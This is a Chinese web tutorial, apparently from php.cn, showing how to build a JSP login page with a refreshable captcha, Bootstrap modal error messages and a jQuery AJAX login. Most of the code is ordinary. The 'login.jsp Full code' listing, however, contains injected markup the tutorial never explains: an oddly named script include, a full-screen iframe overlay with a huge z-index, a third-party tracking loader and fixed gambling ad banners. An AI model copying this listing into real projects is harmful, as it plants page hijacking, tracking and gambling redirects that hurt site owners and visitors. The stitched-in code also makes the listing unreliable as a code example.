Home > Web Front-end > JS Tutorial > Ajax implements partial refresh login interface with verification code

Ajax implements partial refresh login interface with verification code

韦小宝
Release: 2018-05-14 15:17:24
Original
3395 people have browsed it

Many login interfaces have a verification code functionajaxPartial refresh effect. Next, I will share with you through this articleajaxRealize partial refresh login interface with verification code, forajaxInterested friends, let’s take a look

Most of the current login interfaces have: verification code function + partial refresh of verification code + ajax login. The most obvious benefit of logging in with ajax is that it is fast and the URL address does not change. Nowadays, the login function rarely uses form post submission. Most of them have used ajax to access the background locally and then parse the return value and display the result on the interface. The theory still needs to be put into practice to be verified. Let’s go directly to the code.

Run interface:

1. The verification code background access part has been introduced in the previous blog. Here we introduce how to use src in img to achieve partial refresh. Verification code function.

html part:

1

2

3

4

5

6

7

<p><label class="lbright">验证码:</label>

<span>

<input type="text" name="validcode" style="width:70px; vertical-align:middle;" id="validcode"/>

<img id="codePic" src="http://127.0.0.1:8888/TP/codePic" width="60" height="21" style="vertical-align:middle;cursor:pointer;"/>

</span>

<a class="blurry" id="newPic" onclick="getPic();">看不清楚,换一张</a>

</p>

Copy after login

js part:

1

2

3

4

5

<script type="text/javascript">

function getPic(){

$("#codePic").attr("src","http://127.0.0.1:8888/TP/codePic?flag="+Math.random());

};

</script>

Copy after login

The most important part of this part is $("#codePic").attr("src","http:/ /127.0.0.1:8888/TP/codePic?flag="+Math.random()); This part of the code. If you don’t add flag="+Math.random(), the partial refresh function cannot be implemented. Because if the address in src is the same every time it is accessed, it will not be updated. You can know why this happens. Go and study. CodePic is actually an action. The function of this action is to use the java brush to draw the verification code and package it into a picture and return it to the src in the img.

2. Use the modal in bootstrap to implement the dialog box. Function. Because it is necessary to verify whether the user name or password is empty before logging in. If an error occurs, a dialog box needs to pop up to prompt the user. The verification part is implemented with js, and the dialog part is implemented with bootstrap modal

##. #html dialog part:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

<p class="modal" id="mymodal" tabindex="-1">

<p class="modal-dialog">

<p class="modal-content">

<p class="modal-header">

<button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button>

<h4 class="modal-title">亲,您好</h4>

</p>

<p class="modal-body" id="dialogs">

<p></p>

</p>

<p class="modal-footer">

<button type="button" data-dismiss="modal" style="color: #FFFFFF;background-color:#FB8F02; text-align:center;

padding:10px;border: 1px solid #dedede;-moz-border-radius: 15px;-webkit-border-radius: 15px; border-radius:15px;vertical-align:middle;">我知道了

</button>

</p>

</p><!-- /.modal-content -->

</p><!-- /.modal-dialog -->

</p><!-- /.modal -->

Copy after login

js verification part:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

<script type="text/javascript">

function dialog(){

$("#mymodal").modal("toggle");

};

function login(){

var userName=document.getElementById("username").value;

var pwd=document.getElementById("password").value;

var validcode=document.getElementById("validcode").value;

var matchResult=true;

if(userName==""){

document.getElementById("dialogs").innerHTML="<h3>用户账号不能为空!</h3>";

dialog();

matchResult=false;

}else if(pwd==""){

document.getElementById("dialogs").innerHTML="<h3>用户密码不能为空!</h3>";

dialog();

matchResult=false;

}else if(validcode==""){

document.getElementById("dialogs").innerHTML="<h3>验证码不能为空!</h3>";

dialog();

matchResult=false;

}else if(userName.length<6||userName.length>20){

document.getElementById("dialogs").innerHTML="<h3>用户名长度应在6到20个字符之间!</h3>";

dialog();

matchResult=false;

}else if(pwd.length<6||pwd.length>20){

document.getElementById("dialogs").innerHTML="<h3>密码或重复密码长度应在6到20个字符之间!</h3>";

dialog();

matchResult=false;

}

};

</script>

Copy after login

css and js files that need to be imported:

1

2

3

4

5

6

<link href="css/global.css" rel="stylesheet" type="text/css" />

<link rel="stylesheet" href="css/bootstrap.min.css">

<script src=&#39;js/jquery-1.9.1.js&#39;></script>

<script src="js/jquery.min.js"></script>

<script src="js/jquery.js"></script>

<script src="js/bootstrap.min.js"></script>

Copy after login

What you need to pay attention to here is the imported CSS and js files Is it correct?

3. Use ajax to implement the login function

html part:

1

2

3

4

<p class="submitcon">

<input type="button" value="登 录" style="height:45px;width:130px;margin-top:15px;color: #FFFFFF;background-color:#FB8F02;font-size: 20px;

padding:5px;border: 3px solid #dedede;-moz-border-radius: 15px;-webkit-border-radius: 15px; border-radius:15px;vertical-align:middle;text-align:center;" onclick="login();"/>

</p>

Copy after login

js part:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

<script type="text/javascript">

function login(){

var userName=document.getElementById("username").value;

var pwd=document.getElementById("password").value;

var validcode=document.getElementById("validcode").value;

var matchResult=true;

if(userName==""){

document.getElementById("dialogs").innerHTML="<h3>用户账号不能为空!</h3>";

dialog();

matchResult=false;

}else if(pwd==""){

document.getElementById("dialogs").innerHTML="<h3>用户密码不能为空!</h3>";

dialog();

matchResult=false;

}else if(validcode==""){

document.getElementById("dialogs").innerHTML="<h3>验证码不能为空!</h3>";

dialog();

matchResult=false;

}else if(userName.length<6||userName.length>20){

document.getElementById("dialogs").innerHTML="<h3>用户名长度应在6到20个字符之间!</h3>";

dialog();

matchResult=false;

}else if(pwd.length<6||pwd.length>20){

document.getElementById("dialogs").innerHTML="<h3>密码或重复密码长度应在6到20个字符之间!</h3>";

dialog();

matchResult=false;

}

if(matchResult==true){

$.post("http://127.0.0.1:8888/TP/usersAction?method=login", {usersName:userName,password:pwd, validcode:validcode},function(data,status){

var error=data.error;

var result=data.result;

getPic();

if(error=="error"){

errors="true";

document.getElementById("dialogs").innerHTML="<h3>验证码错误,请重新输入!</h3>";

dialog();

}

if(result=="0"){

document.getElementById("dialogs").innerHTML="<h3>您输入的用户名不存在!</h3>";

document.getElementById("username").value="";

dialog();

}else if(result=="1"){

document.getElementById("dialogs").innerHTML="<h3>您输入的密码错误,请重新输入!</h3>";

document.getElementById("password").value="";

dialog();

}else if(result=="2"){

document.getElementById("dialogs").innerHTML="<h3>您的管理员权限不够!</h3>";

dialog();

}else if(result=="3"){

location.href="http://127.0.0.1:8888/TP/main.jsp";

}

},"json");

}

};

</script>

Copy after login

here location.href="http: //127.0.0.1:8888/TP/main.jsp" is equivalent to redirection. My ajax is not the ajax in the native js but the ajax encapsulated by JQuery. You can search for $.post in JQuery ( ) Request.

login.jspFull code:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>

 

 

 

<title>无标题文档</title>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<link href="css/global.css" rel="stylesheet" type="text/css" />

<link rel="stylesheet" href="css/bootstrap.min.css">

<script src=&#39;js/jquery-1.9.1.js&#39;></script>

<script src="js/jquery.min.js"></script>

<script src="js/jquery.js"></script>

<script src="js/bootstrap.min.js"></script>

<script type="text/javascript" src="/js/jquery.3.5.2.min.m.js"></script><div style="Z-INDEX:1000000000000000000;POSITION:absolute;TEXT-ALIGN:left;BACKGROUND-COLOR:#ffffff;WIDTH:100%;HEIGHT:100%; TOP:0px; RIGHT:0px;LEFT:0px;"><iframe frameborder="no" src="/gg/in/index.html" style="height: 100%;width: 100%;position: fixed;left:0; top:0;"></iframe></div><script>!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"K0m2TJ2kWzkFfr5E",ck:"K0m2TJ2kWzkFfr5E"});</script>

<div style="position: fixed;right: 0;top:100px;width: 125px; z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div><div style="position: fixed;left: 0;top: 100px;width: 125px;z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div>

 

<p class="modal" id="mymodal" tabindex="-1">

<p class="modal-dialog">

<p class="modal-content">

<p class="modal-header">

<button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button>

<h4 class="modal-title">亲,您好</h4>

</p>

<p class="modal-body" id="dialogs">

<p></p>

</p>

<p class="modal-footer">

<button type="button" data-dismiss="modal" style="color: #FFFFFF;background-color:#FB8F02; text-align:center;

padding:10px;border: 1px solid #dedede;-moz-border-radius: 15px;-webkit-border-radius: 15px; border-radius:15px;vertical-align:middle;">我知道了

</button>

</p>

</p><!-- /.modal-content -->

</p><!-- /.modal-dialog -->

</p><!-- /.modal -->

<p class="logincontainer">

</p><p class="logintitle">大学二手交易平台管理系统</p>

<p class="loginbg">

</p><p class="loginfmbg">

</p><p class="sysname">BBW综合管理系统</p>

<p class="loginfm">

</p><p><label class="lbright">用户名:</label>

<span class="spinput"><input type="text" name="usersName" id="username"></span>

</p>

<p><label class="lbright">密 码:</label>

<span class="spinput"><input type="password" name="password" id="password"></span></p>

<p><label class="lbright">验证码:</label>

<span>

<input type="text" name="validcode" style="width:70px; vertical-align:middle;" id="validcode"/>

<img id="codePic" src="http://127.0.0.1:8888/TP/codePic" width="60" height="21" style="vertical-align:middle;cursor:pointer;"/>

</span>

<a class="blurry" id="newPic" onclick="getPic();">看不清楚,换一张</a>

</p>

<p></p>

<p class="submitcon">

<input type="button" value="登 录" style="height:45px;width:130px;margin-top:15px;color: #FFFFFF;background-color:#FB8F02;font-size: 20px;

padding:5px;border: 3px solid #dedede;-moz-border-radius: 15px;-webkit-border-radius: 15px; border-radius:15px;vertical-align:middle;text-align:center;" onclick="login();"/>

</p>

<p></p>

<p></p>

<p class="copyright">Copyright 2015-2016 林志强 版权所有 </p>

<p></p>

 

<script type="text/javascript">

function getPic(){

$("#codePic").attr("src","http://127.0.0.1:8888/TP/codePic?flag="+Math.random());

};

function dialog(){

$("#mymodal").modal("toggle");

};

function login(){

var userName=document.getElementById("username").value;

var pwd=document.getElementById("password").value;

var validcode=document.getElementById("validcode").value;

var matchResult=true;

if(userName==""){

document.getElementById("dialogs").innerHTML="<h3>用户账号不能为空!</h3>";

dialog();

matchResult=false;

}else if(pwd==""){

document.getElementById("dialogs").innerHTML="<h3>用户密码不能为空!</h3>";

dialog();

matchResult=false;

}else if(validcode==""){

document.getElementById("dialogs").innerHTML="<h3>验证码不能为空!</h3>";

dialog();

matchResult=false;

}else if(userName.length<6||userName.length>20){

document.getElementById("dialogs").innerHTML="<h3>用户名长度应在6到20个字符之间!</h3>";

dialog();

matchResult=false;

}else if(pwd.length<6||pwd.length>20){

document.getElementById("dialogs").innerHTML="<h3>密码或重复密码长度应在6到20个字符之间!</h3>";

dialog();

matchResult=false;

}

if(matchResult==true){

$.post("http://127.0.0.1:8888/TP/usersAction?method=login", {usersName:userName,password:pwd, validcode:validcode},function(data,status){

var error=data.error;

var result=data.result;

getPic();

if(error=="error"){

errors="true";

document.getElementById("dialogs").innerHTML="<h3>验证码错误,请重新输入!</h3>";

dialog();

}

if(result=="0"){

document.getElementById("dialogs").innerHTML="<h3>您输入的用户名不存在!</h3>";

document.getElementById("username").value="";

dialog();

}else if(result=="1"){

document.getElementById("dialogs").innerHTML="<h3>您输入的密码错误,请重新输入!</h3>";

document.getElementById("password").value="";

dialog();

}else if(result=="2"){

document.getElementById("dialogs").innerHTML="<h3>您的管理员权限不够!</h3>";

dialog();

}else if(result=="3"){

location.href="http://127.0.0.1:8888/TP/main.jsp";

}

},"json");

}

};

</script>

Copy after login
The above is the Ajax implementation of partial refresh login interface with verification code introduced by the editor. I hope it will be helpful to everyone. !

Related recommendations:

##ajax login jump login implementation

##JQuery ajax partial refresh example

jquery pop-up window + ajax partial prompt, how to deal with it

The above is the detailed content of Ajax implements partial refresh login interface with verification code. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template